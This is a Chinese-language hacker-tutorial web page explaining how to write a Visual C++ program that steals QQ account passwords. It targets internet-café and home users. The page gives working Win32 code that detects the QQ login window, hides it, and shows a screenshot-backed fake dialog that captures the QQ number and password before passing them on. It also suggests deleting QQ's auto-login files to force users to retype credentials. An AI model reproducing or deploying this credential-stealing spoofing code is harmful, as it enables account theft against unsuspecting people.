首页    新闻    下载    文档    论坛     最新漏洞    黑客教程    数据库    搜索    小榕软件实验室怀旧版    星际争霸WEB版    最新IP准确查询   
名称: 密码:      忘记密码  马上注册
安全知识 :: 黑客教程

Visual C 编程窃取QQ密码


http://www.gipsky.com/
现在的QQ防盗技术越来越好,一般的钩子已经无法获取用户输入的<b><a href=http://www.baidu.com/s?tn=piglet&ct=&lm=&z=&rn=&word=密码 target="_blank"><font color=red>密码</font></a></b>了,程序本身的防范很严密。那么我们就从用户这边来下手吧。

--------------------------------------------------------------------------------



  近日无所事事,看到现在的QQ防盗技术越来越好,一般的钩子已经无法获取用户输入的<b><a href=http://www.baidu.com/s?tn=piglet&ct=&lm=&z=&rn=&word=密码 target="_blank"><font color=red>密码</font></a></b>了,我也试图用发送WM_GETTEXT消息以及GetWindowText来获取<b><a href=http://www.baidu.com/s?tn=piglet&ct=&lm=&z=&rn=&word=密码 target="_blank"><font color=red>密码</font></a></b>文本框的数据,发现是不可行的。左思右想,既然程序本身的防范很 严密。那么我们就从用户这边来下手吧。究竟很多用户对电脑不是很了解的,各位看官可不能扔丑鸡蛋啊。



  网吧里一般用户点击QQ快捷方式后就输入号码和<b><a href=http://www.baidu.com/s?tn=piglet&ct=&lm=&z=&rn=&word=密码 target="_blank"><font color=red>密码</font></a></b>,然后再登陆,这样我们就可以进行欺骗了。我们的程序运行在后台不停的检测当前激活的窗口是不是 QQ登录的窗口,假如是的话就先取得QQ登录窗口中的号码、<b><a href=http://www.baidu.com/s?tn=piglet&ct=&lm=&z=&rn=&word=密码 target="_blank"><font color=red>密码</font></a></b>文本框和登陆按钮的窗口位置。这样是为了在我们伪造的窗口上创建这些窗口时不被察觉,获得这些信息后,我们先截取整个屏幕,然后把真正的QQ登录窗口隐藏起来,最后创建我们自己的窗口,设置为最前占满整个桌面,然后再背景上贴上刚才抓取的图片。最后在图片QQ登陆的地方创建好QQ号码和<b><a href=http://www.baidu.com/s?tn=piglet&ct=&lm=&z=&rn=&word=密码 target="_blank"><font color=red>密码</font></a></b>输入窗口,在检测到用户单击在QQ登陆按钮时获取用户输入的字符,把这些字符发送到真正的QQ窗口里,最后模拟单击QQ登陆按钮完成QQ的正常登陆。



  然而家庭用户一般是选了自动登陆的方式,所以没有QQ登录的窗口,那我们就要动一些手脚了。了解QQ的地球人都知道,QQ文件夹下有这两个文件: AutoLogin.dat和LoginUinList.dat,它们的功能:这两个文件是QQ的号码登录数据文件,AutoLogin.dat 保存的是自动登录号码的数据文件,LoginUinList.dat则保存的是QQ登录窗口中的“QQ号码”下拉框中显示的所有号码记录。所以我们要删除 QQ登录数据,直接删除AutoLogin.dat和LoginUinList.dat两个文件就行了。主要代码分析如下:



//根据进程ID得到进程名称

BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID)

{

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

PROCESSENTRY32 pe;

pe.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hSnapshot, &pe)) {

return FALSE;

}

while (Process32Next(hSnapshot, &pe)) {

if (pe.th32ProcessID == PID) {

strcpy(lpszProcessName, pe.szExeFile);

return true;

}

}



return FALSE;

}



//查找QQ登录窗口

void QQFind()

{

HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;

HWND ButtonLogin = NULL, ButtonCancel = NULL;

char sTitle[255];

CString ss;

DWORD QQPID;

int LoginID;

BOOL find = FALSE;

do

{

//获得当前激活窗口的句柄

g_hWnd = GetForegroundWindow();

GetWindowThreadProcessId(g_hWnd, &QQPID);

//根据PID获得进程名

processIdToName(sTitle, QQPID);

ss = sTitle;

ss.MakeLower();

//判定是否QQ

if(ss != "qq.exe")

{

Sleep(100);

continue;

}



//获得标题文字,判定是否登陆对话框

SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);

ss = sTitle;

int n = ss.Find("QQ", 0);

int m = ss.Find("登录", 0);

if(n >= 0 || m >= 0)

{

//查找QQ登陆按钮的句柄

ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");

LoginID = GetDlgCtrlID(ButtonLogin);

ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");

LoginID = GetDlgCtrlID(ButtonLogin);

//获得QQ登陆按钮窗口位置

GetWindowRect(ButtonLogin, &g_qqLogin);



//查找QQ取消按钮的句柄

ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");

//获得QQ取消按钮窗口位置

GetWindowRect(ButtonCancel, &g_qqCancel);



//查找QQ<b><a href=http://www.baidu.com/s?tn=piglet&ct=&lm=&z=&rn=&word=密码 target="_blank"><font color=red>密码</font></a></b>输入框的句柄

hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);

if(hWnd1 != NULL)

{

qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);

//获得QQ<b><a href=http://www.baidu.com/s?tn=piglet&ct=&lm=&z=&rn=&word=密码 target="_blank"><font color=red>密码</font></a></b>输入框窗口位置

GetWindowRect(qqPass_hWnd, &g_qqPassRt);

}



//查找QQ号码输入框的句柄

hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);

if(hWnd1 != NULL)

{

qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);

//获得QQ号码输入框窗口位置

GetWindowRect(qqID_hWnd, &g_qqIDRt);

//获得当前默认QQ号码

SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);

}



//等待QQ窗口完全出现后抓取整个屏幕

Sleep(100);

g_DlgRt.left = 0;

g_DlgRt.top = 0;

g_DlgRt.right = m_xScreen;

g_DlgRt.bottom = m_yScreen;

g_pBitmap = CopyScreenToBitmap(&g_DlgRt);



//设置QQ窗口为不可见

ShowWindow(g_hWnd, SW_HIDE);



//弹出我们创建的伪造对话框

HINSTANCE hInstance = GetModuleHandle(NULL);

DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);



//设置QQ窗口为可见

ShowWindow(g_hWnd, SW_SHOW);



//把QQ号码和<b><a href=http://www.baidu.com/s?tn=piglet&ct=&lm=&z=&rn=&word=密码 target="_blank"><font color=red>密码</font></a></b>填到真正的QQ登录窗口上,并模拟单击登陆按钮

SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);

SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);

SendMessage(ButtonLogin, BM_CLICK, 0, 0);



DeleteObject(g_pBitmap);

//设置标志退出循环

find = true;

}



}



while(find == FALSE);

}  
<< VC 下剖析黑客软件隐蔽程序的手段 一个简单的端口扫描编程序题 >>
评分
10987654321
API:
gipsky.com& 安信网络
网友个人意见,不代表本站立场。对于发言内容,由发表者自负责任。

系统导航

 

Copyright © 2001-2010 安信网络. All Rights Reserved
京ICP备05056747号